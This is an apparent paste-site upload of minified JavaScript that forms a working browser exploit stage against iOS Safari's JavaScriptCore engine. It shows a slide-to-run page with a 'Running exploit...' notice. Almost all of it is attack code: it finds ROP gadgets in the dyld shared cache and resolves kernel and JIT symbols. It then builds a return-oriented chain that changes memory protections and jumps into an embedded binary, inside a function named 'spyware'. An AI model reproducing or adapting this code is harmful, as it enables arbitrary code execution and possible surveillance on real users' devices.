cephurs icon

ZiT7U3bt

cephurs | PRO | 09/04/18 02:44:56 PM UTC | 0 ⭐ | 1237 👁️ | Never ⏰ | []
JavaScript |

23.82 KB

|

None

|

0 👍

/

0 👎

var $jscomp = $jscomp || {};
$jscomp.scope = {};
$jscomp.ASSUME_ES5 = !1;
$jscomp.ASSUME_NO_NATIVE_MAP = !1;
$jscomp.ASSUME_NO_NATIVE_SET = !1;
$jscomp.defineProperty = $jscomp.ASSUME_ES5 || "function" == typeof Object.defineProperties ? Object.defineProperty : function(a, d, e) {
 a != Array.prototype && a != Object.prototype && (a[d] = e.value)
};
$jscomp.getGlobal = function(a) {
 return "undefined" != typeof window && window === a ? a : "undefined" != typeof global && null != global ? global : a
};
$jscomp.global = $jscomp.getGlobal(this);
$jscomp.SYMBOL_PREFIX = "jscomp_symbol_";
$jscomp.initSymbol = function() {
 $jscomp.initSymbol = function() {};
 $jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol)
};
$jscomp.Symbol = function() {
 var a = 0;
 return function(d) {
  return $jscomp.SYMBOL_PREFIX + (d || "") + a++
 }
}();
$jscomp.initSymbolIterator = function() {
 $jscomp.initSymbol();
 var a = $jscomp.global.Symbol.iterator;
 a || (a = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator"));
 "function" != typeof Array.prototype[a] && $jscomp.defineProperty(Array.prototype, a, {
  configurable: !0,
  writable: !0,
  value: function() {
   return $jscomp.arrayIterator(this)
  }
 });
 $jscomp.initSymbolIterator = function() {}
};
$jscomp.initSymbolAsyncIterator = function() {
 $jscomp.initSymbol();
 var a = $jscomp.global.Symbol.asyncIterator;
 a || (a = $jscomp.global.Symbol.asyncIterator = $jscomp.global.Symbol("asyncIterator"));
 $jscomp.initSymbolAsyncIterator = function() {}
};
$jscomp.arrayIterator = function(a) {
 var d = 0;
 return $jscomp.iteratorPrototype(function() {
  return d < a.length ? {
   done: !1,
   value: a[d++]
  } : {
   done: !0
  }
 })
};
$jscomp.iteratorPrototype = function(a) {
 $jscomp.initSymbolIterator();
 a = {
  next: a
 };
 a[$jscomp.global.Symbol.iterator] = function() {
  return this
 };
 return a
};
$jscomp.polyfill = function(a, d, e, h) {
 if (d) {
  e = $jscomp.global;
  a = a.split(".");
  for (h = 0; h < a.length - 1; h++) {
   var r = a[h];
   r in e || (e[r] = {});
   e = e[r]
  }
  a = a[a.length - 1];
  h = e[a];
  d = d(h);
  d != h && null != d && $jscomp.defineProperty(e, a, {
   configurable: !0,
   writable: !0,
   value: d
  })
 }
};
$jscomp.polyfill("Array.from", function(a) {
 return a ? a : function(a, e, h) {
  $jscomp.initSymbolIterator();
  e = null != e ? e : function(a) {
   return a
  };
  var d = [],
   y = a[Symbol.iterator];
  if ("function" == typeof y) {
   a = y.call(a);
   for (var l = 0; !(y = a.next()).done;) d.push(e.call(h, y.value, l++))
  } else
   for (y = a.length, l = 0; l < y; l++) d.push(e.call(h, a[l], l));
  return d
 }
}, "es6", "es3");
$jscomp.checkStringArgs = function(a, d, e) {
 if (null == a) throw new TypeError("The 'this' value for String.prototype." + e + " must not be null or undefined");
 if (d instanceof RegExp) throw new TypeError("First argument to String.prototype." + e + " must not be a regular expression");
 return a + ""
};
$jscomp.polyfill("String.prototype.startsWith", function(a) {
 return a ? a : function(a, e) {
  var d = $jscomp.checkStringArgs(this, a, "startsWith");
  a += "";
  var r = d.length,
   y = a.length;
  e = Math.max(0, Math.min(e | 0, d.length));
  for (var l = 0; l < y && e < r;)
   if (d[e++] != a[l++]) return !1;
  return l >= y
 }
}, "es6", "es3");
$jscomp.iteratorFromArray = function(a, d) {
 $jscomp.initSymbolIterator();
 a instanceof String && (a += "");
 var e = 0,
  h = {
   next: function() {
    if (e < a.length) {
     var r = e++;
     return {
      value: d(r, a[r]),
      done: !1
     }
    }
    h.next = function() {
     return {
      done: !0,
      value: void 0
     }
    };
    return h.next()
   }
  };
 h[Symbol.iterator] = function() {
  return h
 };
 return h
};
$jscomp.polyfill("Array.prototype.keys", function(a) {
 return a ? a : function() {
  return $jscomp.iteratorFromArray(this, function(a) {
   return a
  })
 }
}, "es6", "es3");
$jscomp.owns = function(a, d) {
 return Object.prototype.hasOwnProperty.call(a, d)
};
$jscomp.polyfill("Object.values", function(a) {
 return a ? a : function(a) {
  var e = [],
   d;
  for (d in a) $jscomp.owns(a, d) && e.push(a[d]);
  return e
 }
}, "es8", "es3");
 
function hex(a) {
 return ("0" + a.toString(16)).substr(-2)
}
 
function hexlify(a) {
 for (var d = [], e = 0; e < a.length; e++) d.push(hex(a[e]));
 return d.join("")
}
 
function unhexlify(a) {
 if (1 == a.length % 2) throw new TypeError("Invalid hex string");
 for (var d = new Uint8Array(a.length / 2), e = 0; e < a.length; e += 2) d[e / 2] = parseInt(a.substr(e, 2), 16);
 return d
}
 
function hexdump(a) {
 "undefined" !== typeof a.BYTES_PER_ELEMENT && (a = Array.from(a));
 for (var d = [], e = 0; e < a.length; e += 16) {
  var h = a.slice(e, e + 16).map(hex);
  8 < h.length && h.splice(8, 0, " ");
  d.push(h.join(" "))
 }
 return d.join("\n")
}
var Struct = function() {
 var a = new ArrayBuffer(8),
  d = new Uint8Array(a),
  e = new Uint32Array(a),
  h = new Float64Array(a);
 return {
  pack: function(e, d) {
   e[0] = d;
   return new Uint8Array(a, 0, e.BYTES_PER_ELEMENT)
  },
  unpack: function(a, e) {
   if (e.length !== a.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
   d.set(e);
   return a[0]
  },
  int8: d,
  int32: e,
  float64: h
 }
}();
 
function ab2str(a) {
 return String.fromCharCode.apply(null, new Uint16Array(a))
}
 
function str2ab(a) {
 for (var d = new ArrayBuffer(2 * a.length), e = new Uint16Array(d), h = 0, r = a.length; h < r; h++) e[h] = a.charCodeAt(h);
 return d
};
/\b10_\S+ like Mac OS X/.test(navigator.userAgent) || (window.crypto.subtle || window.crypto.webkitSubtle).digest({
 name: "SHA-1"
}, str2ab(window.location.hash)).then(function(a) {
 if ("9e04130fa02fc3c416f28ba556f0165da4d93054" != hexlify(new Uint8Array(a))) throw null;
}).catch(function() {
 window.location.replace("incompatible.html")
});
window.addEventListener("DOMContentLoaded", function() {
 (function(a) {
  var d = document.getElementById("thumbtack"),
   e = document.getElementById("hint"),
   h = 0,
   r = null,
   y = d.parentNode.clientWidth - d.clientWidth - 5,
   l = null,
   p = function(a) {
    h = a;
    e.style.opacity = 1 - a / (.25 * y);
    d.style.left = a + "px"
   },
   g = function(a) {
    r = a;
    l = h;
    d.style.WebkitTransitionProperty = "";
    d.style.WebkitTransitionDuration = "0s";
    return !1
   },
   m = function(a) {
    null !== r && (a -= r, 0 > a ? a = 0 : a >= y && (a = y), p(a + l))
   },
   O = function() {
    if (null !== r) {
     r = null;
     if (.9 <= h / y) return p(y), a(), !1;
     var e =
      h;
     p(0);
     d.style.WebkitTransform = "translateX(" + e + "px)";
     setTimeout(function() {
      d.style.WebkitTransitionProperty = "-webkit-transform";
      d.style.WebkitTransitionDuration = "0.25s";
      d.style.WebkitTransform = "translateX(0px)"
     }, 0);
     return !1
    }
   };
  d.ontouchstart = function(a) {
   return g(a.targetTouches[0].clientX)
  };
  window.ontouchmove = function(a) {
   return m(a.targetTouches[0].clientX)
  };
  window.ontouchend = function(a) {
   return O()
  };
  d.onmousedown = function(a) {
   return g(a.clientX)
  };
  window.onmousemove = function(a) {
   return m(a.clientX)
  };
  window.onmouseup = function(a) {
   return O()
  };
  return this
 })(function() {
  var a = document.getElementById("logo");
  a.parentNode.removeChild(a);
  document.body.className = "wait";
  document.getElementById("notice").textContent = "Running exploit...";
  window.setTimeout(function() {
   window.go()
  }, 10)
 });
 window.ontouchstart = function(a) {
  a.preventDefault();
  return !1
 }
});
 
function Int64(a) {
 function d(a, e) {
  return function() {
   if (arguments.length != e) throw Error("Not enough arguments for function " + a.name);
   for (var d = 0; d < arguments.length; d++) arguments[d] instanceof Int64 || (arguments[d] = new Int64(arguments[d]));
   return a.apply(this, arguments)
  }
 }
 var e = new Uint8Array(8);
 switch (typeof a) {
  case "number":
   a = "0x" + Math.floor(a).toString(16);
  case "string":
   a.startsWith("0x") && (a = a.substr(2));
   1 == a.length % 2 && (a = "0" + a);
   a = unhexlify(a, 8);
   e.set(Array.from(a).reverse());
   break;
  case "object":
   if (a instanceof Int64) e.set(a.bytes());
   else {
    if (8 != a.length) throw TypeError("Array must have excactly 8 elements.");
    e.set(a)
   }
   break;
  case "undefined":
   break;
  default:
   throw TypeError("Int64 constructor requires an argument.");
 }
 this.asDouble = function() {
  if (255 == e[7] && (255 == e[6] || 254 == e[6])) throw new RangeError("Integer can not be represented by a double");
  return Struct.unpack(Struct.float64, e)
 };
 this.asJSValue = function() {
  if (0 == e[7] && 0 == e[6] || 255 == e[7] && 255 == e[6]) throw new RangeError("Integer can not be represented by a JSValue");
  this.assignSub(this, 281474976710656);
  var a = Struct.unpack(Struct.float64, e);
  this.assignAdd(this, 281474976710656);
  return a
 };
 this.bytes = function() {
  return Array.from(e)
 };
 this.byteAt = function(a) {
  return e[a]
 };
 this.toString = function() {
  return "0x" + hexlify(Array.from(e).reverse())
 };
 this.lo = function() {
  var a = this.bytes();
  return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
 };
 this.hi = function() {
  var a = this.bytes();
  return (a[4] | a[5] << 8 | a[6] << 16 | a[7] << 24) >>> 0
 };
 this.assignNeg = d(function(a) {
  for (var d = 0; 8 > d; d++) e[d] = ~a.byteAt(d);
  return this.assignAdd(this, Int64.One)
 }, 1);
 this.assignAdd = d(function(a, d) {
  for (var h = 0, l = 0; 8 > l; l++) {
   var p = a.byteAt(l) + d.byteAt(l) + h;
   h = 255 < p | 0;
   e[l] = p
  }
  return this
 }, 2);
 this.assignSub = d(function(a, d) {
  for (var h = 0, l = 0; 8 > l; l++) {
   var p = a.byteAt(l) - d.byteAt(l) - h;
   h = 0 > p | 0;
   e[l] = p
  }
  return this
 }, 2)
}
Int64.fromDouble = function(a) {
 a = Struct.pack(Struct.float64, a);
 return new Int64(a)
};
 
function Neg(a) {
 return (new Int64).assignNeg(a)
}
 
function Add(a, d) {
 return (new Int64).assignAdd(a, d)
}
 
function Sub(a, d) {
 return (new Int64).assignSub(a, d)
}
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
(function() {
 function a(a, d) {
  d instanceof Int64 || (d = new Int64(d));
  for (var e = 0; e < a.length; ++e) {
   var g = a[e].fileoff,
    p = Add(g, a[e].size);
   if ((g.hi() < d.hi() || g.hi() == d.hi() && g.lo() <= d.lo()) && (p.hi() > d.hi() || p.hi() == d.hi() && p.lo() > d.lo())) return Add(a[e].addr, Sub(d, g))
  }
  return new Int64("0x4141414141414141")
 }
 
 function d(d, g, h, l, r) {
  l = Array.from(l);
  void 0 === r && (r = {});
  for (var p = null, k = d.u32(Add(g, 16)), n = 0, m = 32; n < k; ++n) {
   if (2 == d.u32(Add(g, m))) {
    p = d.read(Add(g, m + 8), 16);
    p = {
     symoff: b2u32(p.slice(0, 4)),
     nsyms: b2u32(p.slice(4,
      8)),
     stroff: b2u32(p.slice(8, 12)),
     strsize: b2u32(p.slice(12, 16))
    };
    break
   }
   m += d.u32(Add(g, m + 4))
  }
  null == p && fail("stab");
  var y = a(h, p.stroff),
   B = 0;
  g = function(a) {
   return d.read(Add(y, B + a), 1)[0]
  };
  for (n = 0; n < p.nsyms && 0 < l.length; ++n)
   for (B = d.u32(a(h, p.symoff + 16 * n)), k = 0; k < l.length; ++k)
    if (m = l[k], e(g, m)) {
     r[m] = d.readInt64(a(h, p.symoff + 16 * n + 8));
     l.splice(k, 1);
     break
    }
  return r
 }
 
 function e(a, d) {
  for (var e = "function" == typeof a ? a : function(d) {
    return a[d]
   }, g = 0; g < d.length; ++g)
   if (e(g) != d.charCodeAt(g)) return !1;
  return 0 == e(d.length)
 }
 
 function h(a) {
  return b2u32(this.read(a, 4))
 }
 
 function r(a, d) {
  a instanceof Int64 && (a = a.lo());
  d instanceof Int64 && (d = d.lo());
  a + d > this.length && fail("OOB read: " + a + " -> " + (a + d) + ", size: " + d);
  return this.slice(a, a + d)
 }
 
 function y(a) {
  return new Int64(this.read(a, 8))
 }
 
 function l(a, d) {
  a instanceof Int64 && (a = a.lo());
  this.set(d.bytes(), a)
 }
 window.fail = function(a) {
  alert("FAIL: " + a);
  location.reload();
  throw null;
 };
 window.b2u32 = function(a) {
  return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
 };
 window.spyware = function(p, g, m) {
  var O =
   document.createElement("div"),
   J = p.addrof(O);
  J = g.readInt64(J + 24);
  var T = g.readInt64(J);
  g.u32 = h;
  for (var k = g.readInt64(T), n = Sub(k, k.lo() & 4095); !e(g.read(n, 16), "dyld_v1   arm64");) n = Sub(n, 4096);
  var x = null,
   F = g.u32(Add(n, 20)),
   B = g.read(Add(n, g.u32(Add(n, 16))), 32 * F),
   z = [];
  for (k = 0; k < F; ++k) {
   var f = 32 * k;
   f = {
    addr: new Int64(B.slice(f + 0, f + 8)),
    size: new Int64(B.slice(f + 8, f + 16)),
    fileoff: new Int64(B.slice(f + 16, f + 24)),
    maxprot: b2u32(B.slice(f + 24, f + 28)),
    initprot: b2u32(B.slice(f + 28, f + 32))
   };
   z.push(f);
   0 != f.fileoff.hi() || 0 !=
    f.fileoff.lo() || 0 == f.size.hi() && 0 == f.size.lo() || (x = f)
  }
  null == x && fail("base_seg");
  F = Sub(n, x.addr);
  for (k = 0; k < z.length; ++k) z[k].addr = Add(z[k].addr, F);
  var K = {
   "/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
   "/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
   "/usr/lib/system/libsystem_c.dylib": ["_usleep"],
   "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC32startOfFixedExecutableMemoryPoolE", "__ZN3JSC30endOfFixedExecutableMemoryPoolE"]
  };
  if (/\b10_\S+ like Mac OS X/.test(navigator.userAgent)) {
   B = {
    regloader: [2853635040, 2853569505, 2853700578, 2853766115, 2853831652, 2853897189, 3594453888],
    dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
    altdispatch: [3594453664, 3506471871, 2839706621, 2839629812, 2831374326, 3596551104],
    stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
    altstackloader: [3506521023, 2839903229, 2839826420, 2839762934, 2839699448, 2839635962, 2831577084, 3596551104]
   };
   var Q = ["/usr/lib/libLLVM.dylib"]
  } else K["/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"].push("__ZN3JSC29jitWriteSeparateHeapsFunctionE"), B = {
   ldrx8: [4181722088, 4177527400, 2839706621, 2839629812, 2432746495, 3596551104],
   dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
   regloader: [2853569507, 2853897190, 2853700576, 2853372897, 2853635042, 4181722084, 3594453248],
   stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
   movx4: [2853438436, 3594453248],
   ldrx0x0: [4181721088]
  }, Q = ["/usr/lib/PN548.dylib", "/usr/lib/libc++.1.dylib"];
  x = {};
  var C = {},
   D = Add(n, g.u32(Add(n, 24)));
  n = g.u32(Add(n, 28));
  for (k = 0; k < n; ++k) {
   var Y = a(z, g.u32(Add(D, 32 * k + 24))),
    U = function(a) {
     return g.read(Add(Y, a), 1)[0]
    },
    t = Add(g.readInt64(Add(D, 32 * k)), F);
   if (Q.some(function(a) {
     return e(U, a)
    })) {
    var u = g.u32(Add(t, 16)),
     q = 0;
    for (f = 32; q < u; ++q) {
     var v = g.u32(Add(t, f));
     if (25 == v && e(g.read(Add(t, f + 8), 16), "__TEXT")) {
      v = g.u32(Add(t, f + 64));
      u = 0;
      for (q = f + 72; u < v; ++u) {
       if (e(g.read(Add(t,
         q), 16), "__text")) {
        f = Object.keys(B).filter(function(a) {
         return !C.hasOwnProperty[a]
        });
        if (0 == f.length) break;
        u = {};
        for (var w = 0; w < f.length; ++w) u[f[w]] = 0;
        v = Add(g.readInt64(Add(t, q + 32)), F);
        t = g.u32(Add(t, q + 40));
        q = new Uint32Array(t / 4);
        for (w = 0; w < t; w += 4096) {
         var E = 4096;
         t - w < E && (E = t - w);
         for (var L = g.read(Add(v, w), E), A = 0; A < E; A += 4) {
          var I = b2u32(L.slice(A, A + 4));
          q[(w + A) / 4] = I
         }
        }
        for (E = 0; E < t && 0 < f.length; E++)
         for (L = q[E], w = 0; w < f.length; w++)
          if (A = f[w], I = B[A], L == I[u[A]]) {
           if (u[A]++, u[A] == I.length) {
            C[A] = Add(v, 4 * (E - (I.length - 1)));
            f.splice(w,
             1);
            break
           }
          } else u[A] = 0;
        break
       }
       q += 80
      }
      break
     }
     f += g.u32(Add(t, f + 4))
    }
   } else {
    f = null;
    u = Object.keys(K);
    for (q = 0; q < u.length; ++q)
     if (e(U, u[q])) {
      f = K[u[q]];
      break
     }
    null != f && d(g, t, z, f, x)
   }
  }
  C.dispatch || (C.dispatch = C.altdispatch);
  C.stackloader || (C.stackloader = C.altstackloader);
  delete B.altdispatch;
  delete B.altstackloader;
  u = Object.values(K).reduce(function(a, b) {
   b.forEach(function(b) {
    a.push(b)
   });
   return a
  }, []);
  for (k = 0; k < u.length; ++k) z = u[k], null == x[z] && fail(z), x[z] = Add(x[z], F);
  u = Object.keys(B);
  for (k = 0; k < u.length; ++k) z = u[k],
   null == C[z] && fail(z);
  F = x.__longjmp;
  var R = C.regloader,
   M = C.dispatch,
   S = C.stackloader,
   P = C.ldrx8,
   V = C.movx4,
   W = new Int64(g.readInt64(x._mach_task_self_).lo()),
   X = x.__kernelrpc_mach_vm_protect_trap;
  B = x.__platform_memmove;
  K = x._usleep;
  Q = g.readInt64(x.__ZN3JSC32startOfFixedExecutableMemoryPoolE);
  z = g.readInt64(x.__ZN3JSC30endOfFixedExecutableMemoryPoolE);
  x = x.__ZN3JSC29jitWriteSeparateHeapsFunctionE ? g.readInt64(x.__ZN3JSC29jitWriteSeparateHeapsFunctionE) : Int64.Zero;
  m.u32 = h;
  m.read = r;
  m.readInt64 = y;
  m.writeInt64 = l;
  D = new Int64("0xffffffffffffffff");
  n = new Int64(0);
  u = m.u32(16);
  k = 0;
  for (f = 32; k < u; ++k) {
   v = m.u32(f);
   if (25 == v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
    t = m.readInt64(f + 24);
    v = m.readInt64(f + 32);
    v = Add(t, v);
    if (t.hi() < D.hi() || t.hi() == D.hi() && t.lo() <= D.lo()) D = t;
    if (v.hi() > n.hi() || v.hi() == n.hi() && v.lo() > n.lo()) n = v
   }
   f += m.u32(f + 4)
  }
  n = Sub(n, D);
  0 != n.hi() && fail("shsz");
  w = new Uint8Array(n.lo());
  t = g.readInt64(Add(p.addrof(w), 16));
  var H = Sub(z, n);
  H = Sub(H, H.lo() & 16383);
  E = Sub(H, D);
  z = [];
  f = 32;
  for (k = 0; k < u; ++k) {
   v = m.u32(f);
   if (25 ==
    v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
    L = m.readInt64(f + 24);
    v = m.readInt64(f + 32);
    A = m.readInt64(f + 40);
    I = m.readInt64(f + 56);
    if (v.hi() < q.hi() || v.hi() == q.hi() && v.lo() <= q.lo()) q = v;
    z.push({
     addr: Sub(L, D),
     size: q,
     fileoff: A,
     prots: I
    });
    0 != A.hi() && fail("fileoff");
    0 != q.hi() && fail("filesize");
    A = A.lo();
    q = q.lo();
    w.set(m.slice(A, A + q), Sub(L, D).lo())
   }
   f += m.u32(f + 4)
  }
  w.u32 = h;
  w.read = r;
  w.readInt64 = y;
  m = d(w, 0, z, ["genesis"]);
  null == m.genesis && fail("genesis");
  m = Add(m.genesis, E);
  g.writeInt64(Add(T, 24), F);
  g.writeInt64(Add(J,
   88), S);
  f = 4096;
  var c = new Uint32Array(1048576),
   G = g.readInt64(Add(p.addrof(c), 16)),
   b = 1048576 - f,
   Z = function(a, d, e, f, g, h, k) {
    h = h || Int64.Zero;
    c[b++] = 3735879696;
    c[b++] = 3735879697;
    c[b++] = 3735879698;
    c[b++] = 3735879699;
    c[b++] = M.lo();
    c[b++] = M.hi();
    c[b++] = 3735879700;
    c[b++] = 3735879701;
    c[b++] = h.lo();
    c[b++] = h.hi();
    c[b++] = g.lo();
    c[b++] = g.hi();
    c[b++] = f.lo();
    c[b++] = f.hi();
    c[b++] = d.lo();
    c[b++] = d.hi();
    c[b++] = e.lo();
    c[b++] = e.hi();
    c[b++] = a.lo();
    c[b++] = a.hi();
    c[b++] = 3735879704;
    c[b++] = 3735879705;
    c[b++] = 3735879706;
    c[b++] = 3735879707;
    a = b;
    c[b++] = Add(G, 4 * a + 64).lo();
    c[b++] = Add(G, 4 * a + 64).hi();
    c[b++] = R.lo();
    c[b++] = R.hi();
    c[b++] = 3735879712;
    c[b++] = 3735879713;
    c[b++] = 3735879714;
    c[b++] = 3735879715;
    c[b++] = 3735879716;
    c[b++] = 3735879717;
    c[b++] = 3735879718;
    c[b++] = 3735879719;
    c[b++] = 3735879720;
    c[b++] = 3735879721;
    c[b++] = 3735879722;
    c[b++] = 3735879723;
    a = b;
    c[b++] = Add(G, 4 * a + 112).lo();
    c[b++] = Add(G, 4 * a + 112).hi();
    c[b++] = k.lo();
    c[b++] = k.hi()
   },
   aa = function(a, d, e, f, g, h, k) {
    c[b++] = 3735879696;
    c[b++] = 3735879697;
    c[b++] = 3735879698;
    c[b++] = 3735879699;
    c[b++] = 3735884033;
    c[b++] = 3735884034;
    c[b++] = 3735879700;
    c[b++] = 3735879701;
    c[b++] = 3735879702;
    c[b++] = 3735879703;
    c[b++] = g.lo();
    c[b++] = g.hi();
    c[b++] = d.lo();
    c[b++] = d.hi();
    c[b++] = f.lo();
    c[b++] = f.hi();
    c[b++] = g.lo();
    c[b++] = g.hi();
    c[b++] = a.lo();
    c[b++] = a.hi();
    c[b++] = 3735879704;
    c[b++] = 3735879705;
    d = b;
    c[b++] = Add(G, 4 * d).lo();
    c[b++] = Add(G, 4 * d).hi();
    c[b++] = 3735879708;
    c[b++] = 3735879709;
    c[b++] = P.lo();
    c[b++] = P.hi();
    h ? (c[b++] = S.lo(), c[b++] = S.hi()) : (c[b++] = M.lo(), c[b++] = M.hi());
    c[b++] = 3735884801;
    c[b++] = 3735884802;
    c[b++] = 3735884545;
    c[b++] =
     3735884546;
    c[b++] = e.lo();
    c[b++] = e.hi();
    c[b++] = 3735884289;
    c[b++] = 3735884290;
    c[b++] = R.lo();
    c[b++] = R.hi();
    h && (c[b++] = 3668770832, c[b++] = 3668770833, c[b++] = 3668770834, c[b++] = 3668770835, c[b++] = 3668775169, c[b++] = 3668775170, c[b++] = 3668770836, c[b++] = 3668770837, c[b++] = 3668770838, c[b++] = 3668770839, c[b++] = 3668770840, c[b++] = 3668770841, c[b++] = 3668771056, c[b++] = 3668771057, c[b++] = 3668771058, c[b++] = 3668771059, c[b++] = 3668771060, c[b++] = 3668771061, c[b++] = a.lo(), c[b++] = a.hi(), c[b++] = 3668770840, c[b++] = 3668770841, d = b, c[b++] =
     Add(G, 4 * d).lo(), c[b++] = Add(G, 4 * d).hi(), c[b++] = 3668770844, c[b++] = 3668770845, c[b++] = P.lo(), c[b++] = P.hi(), c[b++] = M.lo(), c[b++] = M.hi(), c[b++] = 3668775937, c[b++] = 3668775938, c[b++] = h.lo(), c[b++] = h.hi(), c[b++] = 3668775681, c[b++] = 3668775682, c[b++] = 3668775425, c[b++] = 3668775426, c[b++] = V.lo(), c[b++] = V.hi());
    c[b++] = 3735879714;
    c[b++] = 3735879715;
    c[b++] = 3735879714;
    c[b++] = 3735879715;
    c[b++] = 3735879716;
    c[b++] = 3735879717;
    c[b++] = 3735879718;
    c[b++] = 3735879719;
    c[b++] = 3735879720;
    c[b++] = 3735879721;
    c[b++] = 3735879722;
    c[b++] =
     3735879723;
    c[b++] = 3735879724;
    c[b++] = 3735879725;
    c[b++] = k.lo();
    c[b++] = k.hi()
   },
   N = function(a, b, c, d, e, g, f) {
    b = b || Int64.Zero;
    c = c || Int64.Zero;
    d = d || Int64.Zero;
    e = e || Int64.Zero;
    f = f || S;
    return (P ? aa : Z)(a, b, c, d, e, g, f)
   };
  /\b10_\S+ like Mac OS X/.test(navigator.userAgent) ? (N(X, W, H, n, new Int64(0), new Int64(7)), N(B, H, t, n)) : (x.lo() || x.hi() ? N(x, Sub(H, Q), t, n) : fail("bi0n1c (c)"), z.forEach(function(a) {
   if (a.prots.hi() & 2) {
    var b = Add(a.addr, H);
    N(X, W, b, a.size, new Int64(0), new Int64(19))
   }
  }));
  N(K, new Int64(1E5));
  N(m);
  for (k = 0; 32 >
   k; ++k) c[b++] = 3724591326 + (k << 16);
  p = Add(G, 4 * (1048576 - f));
  g.writeInt64(Add(J, 96), Add(p, 96));
  g.writeInt64(Add(J, 104), p);
  O.addEventListener("click", function() {});
  fail("should never reach this")
 }
})();

Comments